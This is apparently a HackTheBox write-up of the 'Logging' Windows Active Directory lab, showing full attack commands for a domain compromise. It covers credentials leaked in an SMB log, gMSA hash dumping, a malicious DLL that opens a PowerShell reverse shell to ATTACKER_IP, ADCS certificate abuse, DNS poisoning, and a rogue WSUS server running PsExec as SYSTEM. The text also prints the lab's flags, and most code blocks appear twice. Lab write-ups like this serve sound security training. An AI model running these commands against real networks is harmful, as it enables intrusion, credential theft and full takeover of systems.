July 14, 2026
HTB Writeup — Logging
Machine Information:

By M3H47D1
5 min read
OS : Windows Server 2019
Difficulty : Medium
Domain : logging.htb
DC : DC01.logging.htb
1.Introduction :
Logging is a Medium-rated Windows Active Directory machine on HackTheBox. It chains six distinct attack primitives into a full domain compromise, covering credential leaks, gMSA abuse, ADCS exploitation, DNS poisoning, and rogue WSUS server injection.
Information :
Starting credentials provided by HTB:
Username: wallace.everette
Password: Welcome2026@Starting credentials provided by HTB:
Username: wallace.everette
Password: Welcome2026@2.Reconnaissance :
2.1 Network Scan :
sudo nmap -sS -p- -Pn logging.htb --open
Port Service
53/tcp DNS
80/tcp HTTP (IIS 10.0)
88/tcp Kerberos
389/tcp LDAP
445/tcp SMB
5985/tcp WinRM
8530/tcp WSUS (HTTP)
8531/tcp WSUS (HTTPS)sudo nmap -sS -p- -Pn logging.htb --open
Port Service
53/tcp DNS
80/tcp HTTP (IIS 10.0)
88/tcp Kerberos
389/tcp LDAP
445/tcp SMB
5985/tcp WinRM
8530/tcp WSUS (HTTP)
8531/tcp WSUS (HTTPS)2.2 Clock Skew :
Nmap detected a 7-hour clock skew between the attacker and the DC. Since Kerberos tolerates only 5 minutes of skew, the attacker machine must be synchronized before any Kerberos operation:
sudo ntpdate <YOUR_IP>sudo ntpdate <YOUR_IP>2.3 Domain Enumeration :
enum4linux-ng -A logging.htbenum4linux-ng -A logging.htb- Domain : LOGGING.HTB
- Domain Controller : DC01.LOGGING.HTB
- OS : Windows Server 2019 Build 17763
- SMB SIGNING : Required
3.Foothold — Credential Leak in SMB Share :
Using the provided credentials, enumerate available SMB shares:
smbclient //10.129.245.130/Logs -U 'logging.htb\wallace.everette%Welcome2026@'smbclient //10.129.245.130/Logs -U 'logging.htb\wallace.everette%Welcome2026@'The Logs share contains four log files. The most critical is IdentitySync_Trace_20260219.log.
3.2 Extracting Credentials :
# Inside smbclient
mget *
exit
# Read the identity sync log
cat IdentitySync_Trace_20260219.log# Inside smbclient
mget *
exit
# Read the identity sync log
cat IdentitySync_Trace_20260219.logThe log contains a raw LDAP bind dump:
[2026-02-09 03:00:03.125] VERBOSE - ConnectionContext Dump: {
Domain: "logging.htb",
Server: "DC01",
BindUser: "LOGGING\svc_recovery",
BindPass: "Em3rg3ncyPa$$2025",
Timeout: 30
}[2026-02-09 03:00:03.125] VERBOSE - ConnectionContext Dump: {
Domain: "logging.htb",
Server: "DC01",
BindUser: "LOGGING\svc_recovery",
BindPass: "Em3rg3ncyPa$$2025",
Timeout: 30
}The password contains 2025. The machine uses an annual rotation policy. The log shows an LDAP_INVALID_CREDENTIALS error in February 2026, meaning the password was rotated. The working value is: Em3rg3ncyPa$$2026
4.Kerberos TGT for svc_recovery :
Since svc_recovery is a member of the Protected Users group, NTLM authentication is blocked. Only Kerberos works.
getTGT.py logging.htb/svc_recovery:'Em3rg3ncyPa$$2026' -dc-ip 10.129.245.130
export KRB5CCNAME=svc_recovery.ccachegetTGT.py logging.htb/svc_recovery:'Em3rg3ncyPa$$2026' -dc-ip 10.129.245.130
export KRB5CCNAME=svc_recovery.ccache4.1 BloodHound Enumeration :
bloodhound-python \
-d logging.htb \
-u svc_recovery \
-p 'Em3rg3ncyPa$$2026' \
-dc DC01.logging.htb \
-ns 10.129.245.130 \
-c allbloodhound-python \
-d logging.htb \
-u svc_recovery \
-p 'Em3rg3ncyPa$$2026' \
-dc DC01.logging.htb \
-ns 10.129.245.130 \
-c allBloodHound reveals a critical edge: svc_recovery has GenericWrite on the gMSA account msa_health$.
5.gMSA Abuse — NT Hash Dump :
5.1 Understanding the Attack : The GenericWrite right on a gMSA allows overwriting the msDS-GroupMSAMembership attribute — a security descriptor controlling which principals can retrieve the gMSA's password blob from the DC.
5.2 Patching msDS-GroupMSAMembership :
bloodyAD -d logging.htb \
-u svc_recovery \
-p 'Em3rg3ncyPa$$2026' \
--dc-ip 10.129.245.130 \
-H DC01.logging.htb \
-k set object 'msa_health$' msDS-GroupMSAMembership \
-v 'O:SYD:(A;;0xf01ff;;;S-1-5-21-4020823815-2796529489-1682170552-2104)'bloodyAD -d logging.htb \
-u svc_recovery \
-p 'Em3rg3ncyPa$$2026' \
--dc-ip 10.129.245.130 \
-H DC01.logging.htb \
-k set object 'msa_health$' msDS-GroupMSAMembership \
-v 'O:SYD:(A;;0xf01ff;;;S-1-5-21-4020823815-2796529489-1682170552-2104)'The SID -2104 corresponds to svc_recovery.
5.3 Dumping the gMSA Hash :
nxc ldap DC01.logging.htb \
-u svc_recovery \
-p 'Em3rg3ncyPa$$2026' \
-k --gmsanxc ldap DC01.logging.htb \
-u svc_recovery \
-p 'Em3rg3ncyPa$$2026' \
-k --gmsaHash Found :
msa_health$ NT Hash: 603fc24ee01a9409f83c9d1d701485c5msa_health$ NT Hash: 603fc24ee01a9409f83c9d1d701485c56. WinRM Foothold as msa_health$ :
getTGT.py logging.htb/'msa_health$' \
-hashes :603fc24ee01a9409f83c9d1d701485c5 \
-dc-ip 10.129.245.130
export KRB5CCNAME=msa_health\$.ccache
evil-winrm -i DC01.logging.htb -r LOGGING.HTBgetTGT.py logging.htb/'msa_health$' \
-hashes :603fc24ee01a9409f83c9d1d701485c5 \
-dc-ip 10.129.245.130
export KRB5CCNAME=msa_health\$.ccache
evil-winrm -i DC01.logging.htb -r LOGGING.HTBWe now have a shell as logging\msa_health$.
7.Lateral Movement — DLL Hijack via Scheduled Task :
7.1 Discovering the Attack Vector :
Inside C:\Users\msa_health$\Documents, the file monitor.ps1 reveals a scheduled task called UpdateChecker Agent
$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask("UpdateChecker Agent")
$task.Definition.Principal | Select-Object UserId, LogonType, RunLevel
$task.Definition.Actions | ForEach-Object { $_.Path; $_.Arguments }
$task.Definition.Triggers | ForEach-Object { $_.Repetition.Interval }$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask("UpdateChecker Agent")
$task.Definition.Principal | Select-Object UserId, LogonType, RunLevel
$task.Definition.Actions | ForEach-Object { $_.Path; $_.Arguments }
$task.Definition.Triggers | ForEach-Object { $_.Repetition.Interval }Key findings: • Runs as: jaylee.clifton (stored password, LogonType=1) • Executable: C:\Program Files\UpdateMonitor\UpdateMonitor.exe • Interval: every 3 minutes (PT3M)
7.2 Reverse Engineering UpdateMonitor.exe :
Extracting UTF-16 strings from the .NET binary reveals:
python3 -c "
with open('UpdateMonitor.exe', 'rb') as f:
data = f.read()
import re
strings = re.findall(b'(?:[\x20-\x7e]\x00){4,}', data)
for s in strings:
decoded = s.decode('utf-16-le').strip()
if decoded: print(decoded)
" | sort -upython3 -c "
with open('UpdateMonitor.exe', 'rb') as f:
data = f.read()
import re
strings = re.findall(b'(?:[\x20-\x7e]\x00){4,}', data)
for s in strings:
decoded = s.decode('utf-16-le').strip()
if decoded: print(decoded)
" | sort -uCritical strings found: • settings_update.dll — DLL loaded via LoadLibrary • C:\ProgramData\UpdateMonitor\Settings_Update.zip — ZIP source • C:\Program Files\UpdateMonitor\bin\ — extraction target • PreUpdateCheck — exported function called after loading
7.3 Crafting the Malicious DLL :
Important constraints: • Must be 32-bit (the .NET host uses Prefer 32-bit) • Must export PreUpdateCheck function • Must not block (use non-interactive commands
cat > /tmp/payload.c << 'EOF'
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
return TRUE;
}
__declspec(dllexport) void PreUpdateCheck() {
system("cmd.exe /c powershell -nop -w hidden -c \
\"$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',5555);\
$s=$c.GetStream();...$c.Close()\"");
}
EOF
# Compile as 32-bit
i686-w64-mingw32-gcc -shared -o settings_update.dll /tmp/payload.c -s
# Verify architecture
file settings_update.dll
# Output: PE32 executable (DLL) (console) Intel 80386
# Package into ZIP
zip -j Settings_Update.zip settings_update.dlcat > /tmp/payload.c << 'EOF'
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
return TRUE;
}
__declspec(dllexport) void PreUpdateCheck() {
system("cmd.exe /c powershell -nop -w hidden -c \
\"$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',5555);\
$s=$c.GetStream();...$c.Close()\"");
}
EOF
# Compile as 32-bit
i686-w64-mingw32-gcc -shared -o settings_update.dll /tmp/payload.c -s
# Verify architecture
file settings_update.dll
# Output: PE32 executable (DLL) (console) Intel 80386
# Package into ZIP
zip -j Settings_Update.zip settings_update.dl7.4 Delivering the Payload :
# Upload ZIP
upload Settings_Update.zip
move-item "C:\Users\msa_health$\Documents\Settings_Update.zip" `
"C:\ProgramData\UpdateMonitor\Settings_Update.zip" -Force
icacls "C:\ProgramData\UpdateMonitor\Settings_Update.zip" /grant "Everyone:(F)"
# Monitor execution
Get-Content "C:\ProgramData\UpdateMonitor\Logs\monitor.log" -Tail 5 -Wait# Upload ZIP
upload Settings_Update.zip
move-item "C:\Users\msa_health$\Documents\Settings_Update.zip" `
"C:\ProgramData\UpdateMonitor\Settings_Update.zip" -Force
icacls "C:\ProgramData\UpdateMonitor\Settings_Update.zip" /grant "Everyone:(F)"
# Monitor execution
Get-Content "C:\ProgramData\UpdateMonitor\Logs\monitor.log" -Tail 5 -WaitAfter up to 3 minutes, the log shows:
[2026-05-01 12:05:16] Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\
[2026-05-01 12:05:16] Loading update applier: ...\settings_update.dll
[2026-05-01 12:05:16] Calling 'PreUpdateCheck' in settings_update.dll
User Flag: 46825b6c552f7fa70a9f9aede46daf64
Found at: C:\Users\jaylee.clifton\Desktop\user.txt[2026-05-01 12:05:16] Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\
[2026-05-01 12:05:16] Loading update applier: ...\settings_update.dll
[2026-05-01 12:05:16] Calling 'PreUpdateCheck' in settings_update.dll
User Flag: 46825b6c552f7fa70a9f9aede46daf64
Found at: C:\Users\jaylee.clifton\Desktop\user.txt8.Privilege Escalation — ADCS Certificate Abuse :
8.1 Discovering the Vulnerable Template :
Using certipy, a vulnerable ADCS template is found :
certipy find \
-u wallace.everette@logging.htb \
-p 'Welcome2026@' \
-dc-ip 10.129.245.130 \
-vulnerable -stdoutcertipy find \
-u wallace.everette@logging.htb \
-p 'Welcome2026@' \
-dc-ip 10.129.245.130 \
-vulnerable -stdoutTemplate UpdateSrv has: • ENROLLEE_SUPPLIES_SUBJECT flag enabled • Server Authentication EKU • Enrollment rights: LOGGING\IT group (jaylee.clifton is a member)
8.2 Generating CSR and Enrolling Certificate :
openssl req -newkey rsa:2048 -nodes \
-keyout wsus_key.pem \
-out wsus.csr \
-subj "/CN=wsus.logging.htb"openssl req -newkey rsa:2048 -nodes \
-keyout wsus_key.pem \
-out wsus.csr \
-subj "/CN=wsus.logging.htb"A DLL payload submits the CSR using certreq as jaylee.clifton:
__declspec(dllexport) void PreUpdateCheck() {
system("powershell -c \"certreq -f -submit \
-config 'DC01.logging.htb\\logging-DC01-CA' \
-attrib 'CertificateTemplate:UpdateSrv' \
C:\\ProgramData\\UpdateMonitor\\wsus.csr \
C:\\ProgramData\\UpdateMonitor\\cert.cer | \
Out-File C:\\ProgramData\\UpdateMonitor\\out.txt\"");
}__declspec(dllexport) void PreUpdateCheck() {
system("powershell -c \"certreq -f -submit \
-config 'DC01.logging.htb\\logging-DC01-CA' \
-attrib 'CertificateTemplate:UpdateSrv' \
C:\\ProgramData\\UpdateMonitor\\wsus.csr \
C:\\ProgramData\\UpdateMonitor\\cert.cer | \
Out-File C:\\ProgramData\\UpdateMonitor\\out.txt\"");
}After execution, the output confirms: C e r t i f i c a t e r e t r i e v e d ( I s s u e d ) I s s u e d
8.3 Creating the PFX :
openssl pkcs12 -export \
-out wsus_srv.pfx \
-inkey wsus_key.pem \
-in cert.cer \
-passout pass:
# Extract PEM for wsuks
openssl pkcs12 -in wsus_srv.pfx -clcerts -nokeys -out wsus_cert.pem -passin pass:
openssl pkcs12 -in wsus_srv.pfx -nocerts -nodes -out wsus_key_out.pem -passin pass:
cat wsus_cert.pem wsus_key_out.pem > wsus_combined.pemopenssl pkcs12 -export \
-out wsus_srv.pfx \
-inkey wsus_key.pem \
-in cert.cer \
-passout pass:
# Extract PEM for wsuks
openssl pkcs12 -in wsus_srv.pfx -clcerts -nokeys -out wsus_cert.pem -passin pass:
openssl pkcs12 -in wsus_srv.pfx -nocerts -nodes -out wsus_key_out.pem -passin pass:
cat wsus_cert.pem wsus_key_out.pem > wsus_combined.pem9.DNS Poisoning — No ARP Required :
9.1 Why This Works msa_health$ has SeMachineAccountPrivilege, allowing creation of computer accounts.Computer accounts have dnsNode create-child rights in AD-integrated DNS zones by de-fault. This allows adding arbitrary DNS records without any layer-2 access or ARPspoofing
9.2 Adding the DNS Record :
python3 dnstool.py \
-u 'logging\msa_health$' \
-p 'aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5' \
-r wsus \
-a add \
-t A \
-d ATTACKER_IP \
-dns-ip 10.129.245.130 \
DC01.logging.htbpython3 dnstool.py \
-u 'logging\msa_health$' \
-p 'aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5' \
-r wsus \
-a add \
-t A \
-d ATTACKER_IP \
-dns-ip 10.129.245.130 \
DC01.logging.htb9.3 Verification :
nslookup wsus.logging.htb 10.129.245.130
# Output: Address: ATTACKER_IPnslookup wsus.logging.htb 10.129.245.130
# Output: Address: ATTACKER_IP10.Rogue WSUS — — PsExec as SYSTEM :
10.1 Why wsuks Instead of pywsus :
pywsus fails silently on Server 2019: its sync-updates.xml advertises updates under a Windows product category that Server 2019 is not a member of, so SyncUpdates returnscleanly with 0 updates detected. wsuks ships a minimal sync-updates.xml without this prerequisite, completing the full WSUS handshake.
10.2 Stubbing the Router Module :
Since DNS control replaces the need for ARP spoofing:
sudo tee /usr/local/lib/python3.10/dist-packages/wsuks/lib/router.py << 'EOF'
class Router:
def __init__(self, *args, **kwargs):
pass
def start(self, *args, **kwargs):
pass
def stop(self, *args, **kwargs):
pass
EOFsudo tee /usr/local/lib/python3.10/dist-packages/wsuks/lib/router.py << 'EOF'
class Router:
def __init__(self, *args, **kwargs):
pass
def start(self, *args, **kwargs):
pass
def stop(self, *args, **kwargs):
pass
EOF10.3 Launching the Rogue WSUS Server :
sudo wsuks \
--serve-only \
--tls-cert wsus_combined.pem \
-t 10.129.245.130 \
-I tun0 \
-e PsExec64.exe \
-c '/accepteula /s cmd.exe /c "net localgroup administrators msa_health$ /add"'sudo wsuks \
--serve-only \
--tls-cert wsus_combined.pem \
-t 10.129.245.130 \
-I tun0 \
-e PsExec64.exe \
-c '/accepteula /s cmd.exe /c "net localgroup administrators msa_health$ /add"'10.4 Triggering Windows Update :
From the WinRM session as msa_health$:
Stop-Service wuauserv -Force
Start-Service wuauserv
wuauclt /resetauthorization /detectnow
usoclient StartScanStop-Service wuauserv -Force
Start-Service wuauserv
wuauclt /resetauthorization /detectnow
usoclient StartScan10.5 WSUS Handshake :
The rogue WSUS server logs show the full handshake:
[+] Received POST: GetConfig
[+] Received POST: GetCookie
[+] Received POST: SyncUpdates
[+] Received POST: GetExtendedUpdateInfo
[+] GET request for exe: /PsExec64.exe[+] Received POST: GetConfig
[+] Received POST: GetCookie
[+] Received POST: SyncUpdates
[+] Received POST: GetExtendedUpdateInfo
[+] GET request for exe: /PsExec64.exePsExec64.exe (Microsoft-signed) is downloaded and executed as NT AUTHOR-ITY\SYSTEM, adding msa_health$ to the local Administrators group.
10.6 Obtaining Root Flag :
Reconnect with a fresh token to pick up the new admin rights:
getTGT.py logging.htb/'msa_health$' \
-hashes :603fc24ee01a9409f83c9d1d701485c5 \
-dc-ip 10.129.245.130
export KRB5CCNAME=msa_health\$.ccache
evil-winrm -i DC01.logging.htb -r LOGGING.HTB
type C:\Users\toby.brynleigh\Desktop\root.txtgetTGT.py logging.htb/'msa_health$' \
-hashes :603fc24ee01a9409f83c9d1d701485c5 \
-dc-ip 10.129.245.130
export KRB5CCNAME=msa_health\$.ccache
evil-winrm -i DC01.logging.htb -r LOGGING.HTB
type C:\Users\toby.brynleigh\Desktop\root.txtFlag Found :
Root Flag: 9677cdcfeed1b79f14ea15377b59be48
Found at: C:\Users\toby.brynleigh\Desktop\root.txtRoot Flag: 9677cdcfeed1b79f14ea15377b59be48
Found at: C:\Users\toby.brynleigh\Desktop\root.txt